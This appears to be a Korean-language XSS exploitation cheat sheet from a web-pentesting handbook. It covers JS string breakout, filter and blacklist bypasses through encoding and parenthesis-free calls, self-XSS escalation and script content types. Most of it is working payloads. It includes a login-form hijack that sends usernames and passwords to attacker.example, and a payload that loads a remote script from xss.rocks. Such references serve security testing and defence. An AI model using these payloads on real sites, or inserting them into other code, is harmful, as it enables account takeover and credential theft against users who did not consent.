์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ผ JavaScript ๋ฌธ์ž์—ด ์•ˆ์— ๋“ค์–ด๊ฐˆ ๋•Œ(์˜ˆ: server-side์—์„œ inline script๋กœ echo๋˜๋Š” ๊ฒฝ์šฐ), ๋ฌธ์ž์—ด์„ ์ข…๋ฃŒํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•œ ๋’ค ๊ตฌ๋ฌธ์„ ๋ณต๊ตฌํ•˜์—ฌ ํŒŒ์‹ฑ์„ ์œ ํšจํ•˜๊ฒŒ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๊ณจ๊ฒฉ:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

์ทจ์•ฝํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ JS ๋ฌธ์ž์—ด๋กœ ๋ฐ˜์˜๋  ๋•Œ์˜ ์˜ˆ์‹œ URL ํŒจํ„ด:

?param=test";<INJECTION>;a="

์ด ๊ธฐ๋ฒ•์€ HTML ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฑด๋“œ๋ฆด ํ•„์š” ์—†์ด ๊ณต๊ฒฉ์ž JS๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (pure JS-in-JS). ํ•„ํ„ฐ๊ฐ€ ํ‚ค์›Œ๋“œ๋ฅผ ์ฐจ๋‹จํ•  ๋•Œ ์•„๋ž˜์˜ blacklist bypasses์™€ ๊ฒฐํ•ฉํ•ด์„œ ์‚ฌ์šฉํ•˜์„ธ์š”.

Template literals ``

๋‹จ์ผ ๋ฐ ์ด์ค‘ ๋”ฐ์˜ดํ‘œ ์™ธ์— strings๋ฅผ ๊ตฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด JS๋Š” backticks `` ๋„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ template literals๋กœ ์•Œ๋ ค์ ธ ์žˆ์œผ๋ฉฐ ${ ... } ๋ฌธ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ embedded JS expressions๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ, ๋งŒ์•ฝ ๋‹น์‹ ์˜ ์ž…๋ ฅ์ด backticks๋ฅผ ์‚ฌ์šฉํ•˜๋Š” JS string ์•ˆ์— reflected ๋˜์–ด ์žˆ๋‹ค๋ฉด, ${ ... } ๋ฌธ๋ฒ•์„ ์•…์šฉํ•˜์—ฌ arbitrary JS code๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

์ธ์ฝ”๋”ฉ๋œ code ์‹คํ–‰

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

์ „๋‹ฌ ๊ฐ€๋Šฅํ•œ payloads ๋ฐ eval(atob())์™€ scope ๋‰˜์•™์Šค

URL์„ ๋” ์งง๊ฒŒ ์œ ์ง€ํ•˜๊ณ  ๋‹จ์ˆœํ•œ ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๋ ค๋ฉด, ์‹ค์ œ ๋กœ์ง์„ base64๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ณ  eval(atob('...'))๋กœ ํ‰๊ฐ€ํ•˜๋ฉด ๋œ๋‹ค. ๋งŒ์•ฝ ๋‹จ์ˆœํ•œ ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๊ฐ€ alert, eval, atob ๊ฐ™์€ ์‹๋ณ„์ž๋ฅผ ์ฐจ๋‹จํ•œ๋‹ค๋ฉด, ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋™์ผํ•˜๊ฒŒ ์ปดํŒŒ์ผ๋˜๋ฉด์„œ ๋ฌธ์ž์—ด ๋งค์นญ ํ•„ํ„ฐ๋ฅผ ํšŒํ”ผํ•˜๋Š” ์œ ๋‹ˆ์ฝ”๋“œ ์ด์Šค์ผ€์ดํ”„๋œ ์‹๋ณ„์ž๋ฅผ ์‚ฌ์šฉํ•˜๋ผ:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

์ค‘์š”ํ•œ ์Šค์ฝ”ํ”„ ๊ด€๋ จ ์œ ์˜์‚ฌํ•ญ: eval() ๋‚ด๋ถ€์—์„œ ์„ ์–ธ๋œ const/let์€ ๋ธ”๋ก ์Šค์ฝ”ํ”„์ด๋ฉฐ ์ „์—ญ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ดํ›„ ์Šคํฌ๋ฆฝํŠธ์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ํ•„์š”ํ•  ๋•Œ ์ „์—ญ์ด๋ฉด์„œ ์žฌํ• ๋‹นํ•  ์ˆ˜ ์—†๋Š” ํ›…์„ ์ •์˜ํ•˜๋ ค๋ฉด ๋™์ ์œผ๋กœ ์ฃผ์ž…๋œ <script> ์š”์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”(์˜ˆ: ํผ ํ•ธ๋“ค๋Ÿฌ๋ฅผ hijackํ•˜๊ธฐ ์œ„ํ•ด):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

์ฐธ๊ณ : https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

์œ ๋‹ˆ์ฝ”๋“œ ์ธ์ฝ”๋”ฉ์„ ํ†ตํ•œ JS ์‹คํ–‰

alert(1)
alert(1)
alert(1)

JavaScript ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ ๊ธฐ๋ฒ•

๋ฌธ์ž์—ด

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

ํŠน์ˆ˜ ์ด์Šค์ผ€์ดํ”„

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS ์ฝ”๋“œ ๋‚ด๋ถ€์˜ ๊ณต๋ฐฑ ์น˜ํ™˜

<TAB>
/**/

JavaScript comments (์ถœ์ฒ˜ JavaScript Comments ๊ธฐ๋ฒ•)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript ์ค„๋ฐ”๊ฟˆ (์ถœ์ฒ˜ JavaScript new line ํŠธ๋ฆญ)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript ๊ณต๋ฐฑ ๋ฌธ์ž

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

์ฃผ์„ ์•ˆ์˜ Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

๊ด„ํ˜ธ ์—†๋Š” JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (โ€œalertโ€), then the โ€œthisโ€ value to that function (โ€œwindowโ€) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (โ€œlocationโ€), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The โ€œhas instanceโ€ symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

์ž„์˜์˜ ํ•จ์ˆ˜ (alert) ํ˜ธ์ถœ

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
์„ค๋ช…์ด ํ™•์žฅ๋˜์–ด์„œ DOM vulnerabilities it was moved to this page:

DOM XSS

ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ DOM vulnerabilities๊ฐ€ ๋ฌด์—‡์ธ์ง€, ์–ด๋–ป๊ฒŒ ์œ ๋ฐœ๋˜๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ป๊ฒŒ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋Š”์ง€์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์„ค๋ช…์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ, ์–ธ๊ธ‰๋œ ๊ธ€์˜ ๋งˆ์ง€๋ง‰์—์„œ DOM Clobbering attacks์— ๋Œ€ํ•œ ์„ค๋ช…๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Upgrading Self-XSS

ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฟ ํ‚ค ์•ˆ์— ๋„ฃ์–ด XSS๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด๋Š” ๋ณดํ†ต self-XSS์ž…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ XSS์— ์ทจ์•ฝํ•œ ์„œ๋ธŒ๋„๋ฉ”์ธ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด XSS๋ฅผ ์•…์šฉํ•ด ๋„๋ฉ”์ธ ์ „์ฒด์— ์ฟ ํ‚ค๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๋ฉ”์ธ ๋„๋ฉ”์ธ์ด๋‚˜ ๋‹ค๋ฅธ ์„œ๋ธŒ๋„๋ฉ”์ธ(์ฟ ํ‚ค XSS์— ์ทจ์•ฝํ•œ ๋„๋ฉ”์ธ)์—์„œ cookie XSS๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด cookie tossing attack์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Cookie Tossing

์ด ๊ธฐ๋ฒ•์˜ ํ›Œ๋ฅญํ•œ ์•…์šฉ ์‚ฌ๋ก€๋Š” this blog post์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Sending your session to the admin

์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ํ”„๋กœํ•„์„ ๊ด€๋ฆฌ์ž์™€ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ณ , ๊ทธ ํ”„๋กœํ•„์— self XSS๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ ๊ด€๋ฆฌ์ž๊ฐ€ ์ด๋ฅผ ์—ด๋žŒํ•˜๋ฉด ์ทจ์•ฝ์ ์ด ํŠธ๋ฆฌ๊ฑฐ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Session Mirroring

self XSS๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  ์›น ํŽ˜์ด์ง€๊ฐ€ session mirroring for administrators๋ฅผ ์ œ๊ณตํ•œ๋‹ค๋ฉด(์˜ˆ: ๊ณ ๊ฐ์ด ๋„์›€์„ ์š”์ฒญํ•˜๋ฉด ๊ด€๋ฆฌ์ž๊ฐ€ ์ž์‹ ์˜ ์„ธ์…˜์—์„œ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ๋ณผ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ธฐ๋Šฅ), ๊ด€๋ฆฌ์ž๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋Š” ํ™”๋ฉด์„ ๋ณด๋ฉด์„œ self XSS๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ฒŒ ๋งŒ๋“ค์–ด ๊ทธ์˜ ์ฟ ํ‚ค/์„ธ์…˜์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด Emscripten/WASM์„ ์‚ฌ์šฉํ•  ๋•Œ, ์ƒ์ˆ˜ ๋ฌธ์ž์—ด(์˜ˆ: HTML ํฌ๋งท ์Šคํ…)์€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ linear memory์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ๋‹จ ํ•œ ๋ฒˆ์˜ inโ€‘WASM overflow(์˜ˆ: ํŽธ์ง‘ ๊ฒฝ๋กœ์—์„œ ์ฒดํฌ๋˜์ง€ ์•Š์€ memcpy)๊ฐ€ ์ธ์ ‘ ๊ตฌ์กฐ๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ  ๊ทธ ์ƒ์ˆ˜๋กœ์˜ ์“ฐ๊ธฐ ์œ„์น˜๋ฅผ ์žฌ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. โ€œ

%.*s

โ€ ๊ฐ™์€ ํ…œํ”Œ๋ฆฟ์„ โ€œโ€œ๋กœ ๋ฎ์–ด์“ฐ๋ฉด, ์ •ํ™”๋œ ์ž…๋ ฅ์ด JavaScript ํ•ธ๋“ค๋Ÿฌ ๊ฐ’์ด ๋˜์–ด ๋ Œ๋” ์‹œ ์ฆ‰์‹œ DOM XSS๋ฅผ ์ผ์œผํ‚ต๋‹ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ์›Œํฌํ”Œ๋กœ์šฐ, DevTools ๋ฉ”๋ชจ๋ฆฌ ํ—ฌํผ, ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ํฌํ•จํ•œ ์ „์šฉ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

์„œ๋ฒ„(๋˜๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก)์—์„œ reflected values๊ฐ€ unicode normalized๋˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•ด ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment ๋•Œ๋ฌธ์— HTML์— ๋”ฐ์˜ดํ‘œ๊ฐ€ ์‚ฝ์ž…๋˜์–ด ๋”ฐ์˜ดํ‘œ ์ œํ•œ์ด ์šฐํšŒ๋˜๊ณ  ํƒœ๊ทธ ๋‚ด๋ถ€์— ์ถ”๊ฐ€ ํ•„๋“œ(onfocus)๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Form ์˜ˆ์‹œ (from this report), ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด๋ฉด:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

โ€œKeyโ€,โ€œValueโ€ ์Œ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

๊ทธ๋Ÿฌ๋ฉด onfocus ์†์„ฑ์ด ์‚ฝ์ž…๋˜์–ด XSS๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

ํŠน์ˆ˜ ์กฐํ•ฉ

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 ์‘๋‹ต์—์„œ์˜ header injection์„ ์ด์šฉํ•œ XSS

๋งŒ์•ฝ inject headers in a 302 Redirect response ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž„์˜์˜ JavaScript๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•ด๋ณด๋Š” ๊ฒƒ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ HTTP ์‘๋‹ต ์ƒํƒœ ์ฝ”๋“œ๊ฐ€ 302์ผ ๋•Œ HTTP ์‘๋‹ต ๋ณธ๋ฌธ์„ ํ•ด์„ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋‹จ์ˆœํ•œ cross-site scripting ํŽ˜์ด๋กœ๋“œ๋กœ๋Š” not trivial ํ•ฉ๋‹ˆ๋‹ค.

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

๋ฌธ์ž, ์ˆซ์ž ๋ฐ ์ ๋งŒ

๋งŒ์•ฝ ํ•ด๋‹น ๋ฌธ์ž๋“ค๋กœ ์ œํ•œ๋œ callback ์„ javascript๊ฐ€ execute ํ•˜๋„๋ก ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด ๋™์ž‘์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ Read this section of this post ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

XSS์— ์œ ํšจํ•œ <script> Content-Types

(From here) application/octet-stream ๊ฐ™์€ content-type ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•˜๋ ค ํ•˜๋ฉด, Chrome์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค:

Refused to execute script from โ€˜https://uploader.c.hc.lc/uploads/xxxโ€™ because its MIME type (โ€˜application/octet-streamโ€™) is not executable, and strict MIME type checking is enabled.

Chrome๊ฐ€ loaded script ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ์œ ์ผํ•œ Content-Type๋“ค์€ const kSupportedJavascriptTypes ์•ˆ์— ์žˆ๋Š” ๊ฒƒ๋“ค์ด๋ฉฐ, ํ•ด๋‹น ๋‚ด์šฉ์€ https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(From here) ๊ทธ๋Ÿฌ๋ฉด, ์–ด๋–ค ํƒ€์ž…๋“ค์ด script๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ์ง€์ •๋  ์ˆ˜ ์žˆ์„๊นŒ?

<script type="???"></script>
  • ๋ชจ๋“ˆ (๊ธฐ๋ณธ๊ฐ’, ์„ค๋ช…ํ•  ํ•„์š” ์—†์Œ)
  • webbundle: Web Bundles๋Š” HTML, CSS, JSโ€ฆ ๊ฐ™์€ ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ๋ฅผ ํ•˜๋‚˜์˜ .wbn ํŒŒ์ผ๋กœ ๋ฌถ์„ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import ๊ตฌ๋ฌธ์„ ๊ฐœ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

์ด ๋™์ž‘์€ this writeup์—์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ eval๋กœ ๋ฆฌ๋งตํ•ด ์•…์šฉํ•˜๋ฉด XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ฃผ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

  • speculationrules: ์ด ๊ธฐ๋Šฅ์€ ์ฃผ๋กœ ํ”„๋ฆฌ๋ Œ๋”๋ง์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ž‘๋™ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

XSS๋ฅผ ์œ ๋ฐœํ•˜๋Š” ์›น Content-Types

(์ถœ์ฒ˜: here) ๋‹ค์Œ Content-Type๋“ค์€ ๋ชจ๋“  ๋ธŒ๋ผ์šฐ์ €์—์„œ XSS๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
